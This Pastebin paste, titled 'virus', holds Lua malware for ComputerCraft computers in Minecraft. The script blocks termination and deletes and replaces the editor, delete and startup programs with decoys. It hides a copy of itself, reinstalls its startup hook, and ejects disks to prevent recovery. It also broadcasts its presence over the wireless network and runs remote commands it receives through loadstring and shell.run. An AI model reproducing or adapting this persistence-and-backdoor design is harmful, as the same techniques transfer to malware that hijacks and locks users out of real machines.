Bjornir90

virusOffline

Nov 25th, 2012
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.18 KB | None | 0 0
  1. os.pullEvent = os.pullEventRaw
  2.  
  3. fs.delete("edit")
  4. fs.delete("delete")
  5. fs.delete("startup")
  6.  
  7. fs.makeDir(".testFolder")
  8.  
  9. if not fs.exists("/.testFolder/test") then
  10.  fs.copy("test", "/.testFolder/test")
  11. end
  12.  
  13.  rednet.open("top")
  14.  rednet.open("bottom")
  15.  rednet.open("right")
  16.  rednet.open("left")
  17.  rednet.open("back")
  18.  rednet.open("front")
  19.  
  20.   rednet.broadcast("top")
  21.  
  22.   rednet.broadcast("bot")  
  23.  
  24.   rednet.broadcast("right")
  25.  
  26.   rednet.broadcast("left")  
  27.  
  28.   rednet.broadcast("back")
  29.  
  30.   rednet.broadcast("front")
  31.  
  32.  
  33. edit = fs.open("/.testFolder/edit", "w")
  34. edit.write("print(\"lol\")")
  35. edit.close()
  36.  
  37. checkEdit = function()
  38. if not fs.exists("edit") then
  39.  fs.copy("/.testFolder/edit", "edit")
  40. end
  41. end
  42.  
  43. delete = fs.open("/.testFolder/delete", "w")
  44. delete.write("print(\"Not this time !\")")
  45. delete.close()
  46.  
  47. checkDelete = function()
  48. if not fs.exists("delete") then
  49. fs.copy("/.testFolder/delete", "delete")
  50. end
  51. end
  52.  
  53. startup = fs.open("/.testFolder/startup", "w")
  54. startup.write("shell.run(\"test\")")
  55. startup.close()
  56.  
  57. checkStartup = function()
  58. if not fs.exists("startup") then
  59.  fs.copy("/.testFolder/startup", "startup")
  60. end
  61. end
  62.  
  63. rednet.broadcast("&%sdone")
  64. receive = function()
  65. os.sleep(1)
  66. id, commandS = rednet.receive()
  67. command = textutils.unserialize(commandS)
  68. print(commandS) --Log
  69. if command.isExe == "true" then
  70.  if command.type == "f" then
  71.   loadstring(command.content)
  72.  elseif command.type == "p" then
  73.   shell.run(command.content)
  74.  end
  75. end
  76. end
  77.  
  78. checkDisk = function()
  79. if disk.isPresent("top") then
  80.  disk.eject("top")
  81. elseif disk.isPresent("bottom") then
  82.  disk.eject("bottom")
  83. elseif disk.isPresent("right") then
  84.  print(disk.isPresent("right"))
  85.  disk.eject("right")
  86. elseif disk.isPresent("left") then
  87.  disk.eject("left")
  88. elseif disk.isPresent("front") then
  89.  disk.eject("front")
  90. elseif disk.isPresent("back") then
  91.  disk.eject("back")
  92. end
  93. end
  94.  
  95.  
  96. local exit = 0
  97.  
  98. print("succesfully loaded") --Log
  99. counter = 0
  100.  
  101. while exit == 0 do
  102. parallel.waitForAny(checkEdit, checkDelete, checkStartup, checkDisk)
  103. counter = counter+1 --Log
  104. print("One function has returned :"..counter) --Log
  105. os.sleep(0.5)
  106. end
Advertisement
Add Comment
Please, Sign In to add comment